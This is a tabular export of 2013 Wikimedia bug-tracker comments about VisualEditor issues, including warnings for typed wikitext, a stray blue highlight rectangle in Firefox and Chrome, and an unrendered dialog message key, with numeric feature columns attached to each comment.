https://gerrit.wikimedia.org/r/73569",,,1373854895,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-k7f4ru5f6yx35p5jkdx7,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,5.0,19.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,5.0,5.0,10.0,0.0,0.0,0.0,5.0,0.0,5.0,5.0,0.0,5.0,0.0,0.0,0.0,4.523809523809524,1.0,"Change 73569 had a related patch set uploaded by Catrope:
Warn users when they are typing wikitext

GERRIT_URL"
252537,"VisualEditor: When user types in '[[' in the page or another DOM input widget, pop up a reminder that they're using VisualEditor","**ignatzmice.wiki** wrote:

(In reply to comment #7)
> (In reply to comment #6)
> > A permanently dismissible first-use reminder may be sufficient. I suggest we
> > try that and see if it significantly reduces incidents of wikitext insertion.
> > See bug 50601 for discussion.
> 
> Habits die hard. When you've been entering wikitext manually for the past 12
> years, it's _really_ hard to change your habits. I really doubt a ""first-use
> reminder"" will be enough.

Yes, this. I recognized the problem first time I did it, and it still happens.",,,1373844634,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-k7f4ru5f6yx35p5jkdx7,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,4.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,4.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,23.0,0.0,2.0,4.0,0.0,0.0,0.0,2.0,2.0,2.0,2.0,0.0,8.0,4.0,13.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0961538461538463,0.5769230769230769,"**ignatzmice.wiki** wrote:

(In reply to comment #7)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Yes, this. I recognized the problem first time I did it, and it still happens."
252528,"VisualEditor: When user types in '[[' in the page or another DOM input widget, pop up a reminder that they're using VisualEditor","(In reply to comment #4)
> I have already suggested bug 50527 as a possible solution to this problem. An
> automatic tag and then manual correction would be a simple-to-implement
> interim
> measure, if not long term.

Bug 50527 proposes that the edit go through, WITHOUT warning the editor of his/her mistake; instead, the edit summary gets a tag showing that a problem exists with the *completed* edit. Given that the software can detect this error, it makes more sense to give the editor who made the mistake a chance to fix it *before* the edit is completed - ideally, not to allow the edit to be completed with the error intact within in. That way, (a) the editor is more likely not to make the mistake again, and (b) if the editor who made the mistake fixes it before finalizing his/her edit, there is no need for a second (corrective) edit (and no need for someone to be monitoring recent changes for the tag proposed in bug 50527).",,,1373662680,,PHID-USER-hirrhium5ibrtof34lwa,False,,,PHID-TASK-k7f4ru5f6yx35p5jkdx7,task_subcomment,,True,c1,3,False,,,1,,0.0,0.5,0.0,1.0,1.0,4.5,0.5,0.0,0.0,0.5,2.0,0.0,0.0,0.0,0.5,0.0,1.0,4.0,13.0,0.5,4.0,0.0,0.0,0.5,1.0,0.0,0.0,0.0,0.5,0.0,0.5,4.0,1.0,1.5,1.5,0.0,0.0,0.0,1.0,1.5,1.0,2.0,0.5,0.0,0.0,0.0,0.0,0.0,1.0,17.5,0.0,1.5,0.0,1.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,10.0,3.0,4.5,2.0,1.0,12.5,0.0,0.0,0.0,0.5,5.0,0.0,1.5,0.0,3.5,13.0,1.0,0.0,0.0,0.0,3.5,0.0,1.0,2.0,0.0,2.0,1.0,0.0,1.0,3.6079545454545454,0.6363636363636364,"(In reply to comment #4)
QUOTE
QUOTE
QUOTE
QUOTE

Bug 50527 proposes that the edit go through, WITHOUT warning the editor of his/her mistake; instead, the edit summary gets a tag showing that a problem exists with the *completed* edit. Given that the software can detect this error, it makes more sense to give the editor who made the mistake a chance to fix it *before* the edit is completed - ideally, not to allow the edit to be completed with the error intact within in. That way, (a) the editor is more likely not to make the mistake again, and (b) if the editor who made the mistake fixes it before finalizing his/her edit, there is no need for a second (corrective) edit (and no need for someone to be monitoring recent changes for the tag proposed in bug 50527)."
252523,"VisualEditor: When user types in '[[' in the page or another DOM input widget, pop up a reminder that they're using VisualEditor","(In reply to comment #6)
> A permanently dismissible first-use reminder may be sufficient. I suggest we
> try that and see if it significantly reduces incidents of wikitext insertion.
> See bug 50601 for discussion.

Habits die hard. When you've been entering wikitext manually for the past 12 years, it's _really_ hard to change your habits. I really doubt a ""first-use reminder"" will be enough; I still expect people to add [[ inside VisualEditor in 5 years. All drivers learn what the speed limits are before they get their driving license, but there are still speed limit signs on the roads :)

A guided tour is indeed a great idea, but _in addition_ to an always-shown-when-wikitext-is-detected warning, not as a replacement, imho.",,,1373656626,,PHID-USER-z6nzrwuaij3spgyg23jt,False,,,PHID-TASK-k7f4ru5f6yx35p5jkdx7,task_subcomment,,True,c1,3,False,,,1,,0.5,0.0,0.0,0.0,0.5,3.0,2.0,0.0,0.0,0.0,2.5,0.5,0.0,0.0,0.5,1.0,0.0,7.0,7.5,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,7.0,2.5,0.5,2.0,1.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,1.5,0.0,0.5,0.0,0.0,0.0,15.0,0.0,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,5.5,4.0,6.0,1.0,1.5,7.0,0.0,0.5,0.0,0.5,2.0,0.0,1.5,0.0,4.0,7.5,1.5,0.0,1.0,0.0,4.0,0.0,2.0,3.5,0.0,1.0,0.0,0.0,0.5,3.5373134328358207,0.7835820895522387,"(In reply to comment #6)
QUOTE
QUOTE
QUOTE

Habits die hard. When you've been entering wikitext manually for the past 12 years, it's _really_ hard to change your habits. I really doubt a ""first-use reminder"" will be enough; I still expect people to add [[ inside VisualEditor in 5 years. All drivers learn what the speed limits are before they get their driving license, but there are still speed limit signs on the roads :)

A guided tour is indeed a great idea, but _in addition_ to an always-shown-when-wikitext-is-detected warning, not as a replacement, imho."
252517,"VisualEditor: When user types in '[[' in the page or another DOM input widget, pop up a reminder that they're using VisualEditor",A permanently dismissible first-use reminder may be sufficient. I suggest we try that and see if it significantly reduces incidents of wikitext insertion. See bug 50601 for discussion.,,,1372986202,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-k7f4ru5f6yx35p5jkdx7,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,9.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,9.0,6.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,15.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,9.0,3.0,3.0,6.0,0.0,0.0,0.0,0.0,9.0,0.0,3.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,4.757575757575758,0.9393939393939394,A permanently dismissible first-use reminder may be sufficient. I suggest we try that and see if it significantly reduces incidents of wikitext insertion. See bug 50601 for discussion.
252512,"VisualEditor: When user types in '[[' in the page or another DOM input widget, pop up a reminder that they're using VisualEditor",And bug 50093 for an alternative [[ suggestion.,,,1372878170,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-k7f4ru5f6yx35p5jkdx7,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,4.0,0.9,And bug 50093 for an alternative [[ suggestion.
252505,"VisualEditor: When user types in '[[' in the page or another DOM input widget, pop up a reminder that they're using VisualEditor","I have already suggested bug 50527 as a possible solution to this problem. An automatic tag and then manual correction would be a simple-to-implement interim measure, if not long term.",,,1372862368,,PHID-USER-65pjzcmoby2fsgzdrfjq,False,,,PHID-TASK-k7f4ru5f6yx35p5jkdx7,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,3.0,16.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,8.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,5.0,3.0,3.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,3.0,11.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.1891891891891895,0.8918918918918919,"I have already suggested bug 50527 as a possible solution to this problem. An automatic tag and then manual correction would be a simple-to-implement interim measure, if not long term."
252501,"VisualEditor: When user types in '[[' in the page or another DOM input widget, pop up a reminder that they're using VisualEditor",%%%*** Bug 50581 has been marked as a duplicate of this bug. ***%%%,,,1372859187,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-k7f4ru5f6yx35p5jkdx7,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,25.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.2916666666666665,0.5833333333333334,%%%*** Bug 50581 has been marked as a duplicate of this bug. ***%%%
252497,"VisualEditor: When user types in '[[' in the page or another DOM input widget, pop up a reminder that they're using VisualEditor","""What Chris said"". I'd like to know the rationale for the priority rating on this; it's the biggest source of article corruption.",,,1372844611,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-k7f4ru5f6yx35p5jkdx7,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,14.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,14.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,14.0,3.0,0.0,7.0,0.0,7.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.7241379310344827,0.8620689655172413,"""What Chris said"". I'd like to know the rationale for the priority rating on this; it's the biggest source of article corruption."
252493,"VisualEditor: When user types in '[[' in the page or another DOM input widget, pop up a reminder that they're using VisualEditor",Why is this marked low priority? It is causing problems on the live wiki with people unable to figure out why their edit has not worked - the VE hides the nowiki tags it has inserted so its impossible to determine the cause unless one knows about this feature (which I've not seen in documentation) or uses the misnamed edit source.,,,1372844039,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-k7f4ru5f6yx35p5jkdx7,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,3.0,11.0,2.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,8.0,12.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,5.0,5.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,6.0,5.0,2.0,12.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,9.0,12.0,2.0,2.0,0.0,0.0,9.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,4.121212121212121,0.8484848484848485,Why is this marked low priority? It is causing problems on the live wiki with people unable to figure out why their edit has not worked - the VE hides the nowiki tags it has inserted so its impossible to determine the cause unless one knows about this feature (which I've not seen in documentation) or uses the misnamed edit source.
51818,VisualEditor: Top left corner of the window shows blue rectangle when selecting templates in Firefox,"screenshot

When selecting some templates in VisualEditor, a blue rectangle appears in the top left corner of the browser's window, and disappears when the template is unselected.

Encountered on https://en.wikipedia.org/wiki/User:Jdforrester_%28WMF%29/Sandbox?veaction=edit (see screenshot)

Firefox 21.0 on openSUSE 12.3

--------------------------
**Version**: unspecified
**Severity**: minor
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=50074

**Attached**: {F11783}",High,80.0,1371649560,1373512100.0,PHID-USER-z6nzrwuaij3spgyg23jt,False,,False,PHID-TASK-sidkh5inlhdkyygqassz,task_description,resolved,True,c1,2,False,False,True,-2,,1.0,0.0,0.0,0.0,0.0,7.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,14.0,2.0,1.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,6.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,1.0,0.0,0.0,0.0,3.869047619047619,0.6190476190476191,"screenshot

When selecting some templates in VisualEditor, a blue rectangle appears in the top left corner of the browser's window, and disappears when the template is unselected.

Encountered on URL (see screenshot)

Firefox 21.0 on openSUSE 12.3

--------------------------
**Version**: unspecified
**Severity**: minor
**See Also**:
URL

**Attached**: {F11783}"
252424,VisualEditor: Top left corner of the window shows blue rectangle when selecting templates in Firefox,Appears resolved.,,,1373536056,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-sidkh5inlhdkyygqassz,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.333333333333333,1.0,Appears resolved.
252421,VisualEditor: Top left corner of the window shows blue rectangle when selecting templates in Firefox,"(In reply to comment #7)
> As noted by JamesF in 50161, this still occurs (Vector, Chrome, Win 7).
> Screenshot while editing ref. #6 in
> http://it.wikipedia.org/wiki/Utente:Syrio/Bozzoli , you need to click at
> least
> a few times on the sentence before the puzzle piece pops up. It will allow
> you
> to edit the reference and save the page as usual. It might be worth noting
> that
> the page features a page title and a magic word. Thanks.

I now can't reproduce this - can you check too? (We did a new release today which should have fixed this for good.)",,,1373512100,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-sidkh5inlhdkyygqassz,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,4.0,0.0,5.0,5.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,22.0,0.0,0.0,7.0,0.0,0.0,0.0,2.0,7.0,0.0,2.0,0.0,5.0,5.0,13.0,2.0,0.0,0.0,5.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0727272727272728,0.6545454545454545,"(In reply to comment #7)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

I now can't reproduce this - can you check too? (We did a new release today which should have fixed this for good.)"
252417,VisualEditor: Top left corner of the window shows blue rectangle when selecting templates in Firefox,"As noted by JamesF in 50161, this still occurs (Vector, Chrome, Win 7).
Screenshot while editing ref. #6 in http://it.wikipedia.org/wiki/Utente:Syrio/Bozzoli , you need to click at least a few times on the sentence before the puzzle piece pops up. It will allow you to edit the reference and save the page as usual. It might be worth noting that the page features a page title and a magic word. Thanks.",,,1373440558,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-sidkh5inlhdkyygqassz,task_subcomment,,True,c1,3,False,,,1,,1.0,0.0,0.0,0.0,0.0,6.0,1.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,16.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,5.0,2.0,2.0,0.0,2.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,16.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,10.0,1.0,12.0,2.0,2.0,11.0,0.0,0.0,0.0,1.0,6.0,0.0,4.0,0.0,5.0,16.0,6.0,0.0,0.0,0.0,5.0,0.0,0.0,4.0,0.0,2.0,0.0,1.0,0.0,3.4698795180722892,0.7469879518072289,"As noted by JamesF in 50161, this still occurs (Vector, Chrome, Win 7).
Screenshot while editing ref. #6 in URL , you need to click at least a few times on the sentence before the puzzle piece pops up. It will allow you to edit the reference and save the page as usual. It might be worth noting that the page features a page title and a magic word. Thanks."
252412,VisualEditor: Top left corner of the window shows blue rectangle when selecting templates in Firefox,"Created attachment 12812
Light blue bar issue still occurring

**Attached**: {F11784}",,,1373440247,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-sidkh5inlhdkyygqassz,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.85,0.85,"Created attachment 12812
Light blue bar issue still occurring

**Attached**: {F11784}"
252407,VisualEditor: Top left corner of the window shows blue rectangle when selecting templates in Firefox,Fixed and will go out in the next release.,,,1372461348,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-sidkh5inlhdkyygqassz,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4,1.0,Fixed and will go out in the next release.
252399,VisualEditor: Top left corner of the window shows blue rectangle when selecting templates in Firefox,"Change 71118 merged by jenkins-bot:
Don't draw highlights over hidden elements.

https://gerrit.wikimedia.org/r/71118",,,1372458730,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-sidkh5inlhdkyygqassz,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.315789473684211,1.0,"Change 71118 merged by jenkins-bot:
Don't draw highlights over hidden elements.

GERRIT_URL"
252393,VisualEditor: Top left corner of the window shows blue rectangle when selecting templates in Firefox,"Change 71118 had a related patch set uploaded by Robmoen:
Don't draw highlights over hidden elements.

https://gerrit.wikimedia.org/r/71118",,,1372452480,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-sidkh5inlhdkyygqassz,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,18.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.5,1.0,"Change 71118 had a related patch set uploaded by Robmoen:
Don't draw highlights over hidden elements.

GERRIT_URL"
252386,VisualEditor: Top left corner of the window shows blue rectangle when selecting templates in Firefox,"Confirmed, happens in firefox and chrome.",,,1372118693,,PHID-USER-pun3sjvg3cemjzbgyo2t,False,,,PHID-TASK-sidkh5inlhdkyygqassz,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,1.0,"Confirmed, happens in firefox and chrome."
252381,VisualEditor: Top left corner of the window shows blue rectangle when selecting templates in Firefox,%%%*** Bug 50074 has been marked as a duplicate of this bug. ***%%%,,,1372118661,,PHID-USER-pun3sjvg3cemjzbgyo2t,False,,,PHID-TASK-sidkh5inlhdkyygqassz,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,25.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.2916666666666665,0.5833333333333334,%%%*** Bug 50074 has been marked as a duplicate of this bug. ***%%%
51817,VisualEditor: Image dialog shows <visualeditor-dialog-media-content-section> instead of actual message,"Encountered on: https://en.wikipedia.org/wiki/Westplex?veaction=edit
Firefox 21.0 on openSuse 12.3

When opening the ""Media settings"" overlay by clicking the icon on the image, the title shows <visualeditor-dialog-media-content-section> instead of what I assume should be the actual system message.

--------------------------
**Version**: unspecified
**Severity**: trivial",High,80.0,1371649140,1371748706.0,PHID-USER-z6nzrwuaij3spgyg23jt,False,,False,PHID-TASK-n7i2eetsofstfrmijiw5,task_description,resolved,True,c1,2,False,False,True,-2,,0.0,0.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,7.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,1.0,11.0,1.0,0.0,8.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,0.0,1.0,7.0,3.0,0.0,3.0,0.0,1.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,1.0,4.070422535211268,0.6901408450704225,"Encountered on: URL
Firefox 21.0 on openSuse 12.3

When opening the ""Media settings"" overlay by clicking the icon on the image, the title shows <visualeditor-dialog-media-content-section> instead of what I assume should be the actual system message.

--------------------------
**Version**: unspecified
**Severity**: trivial"
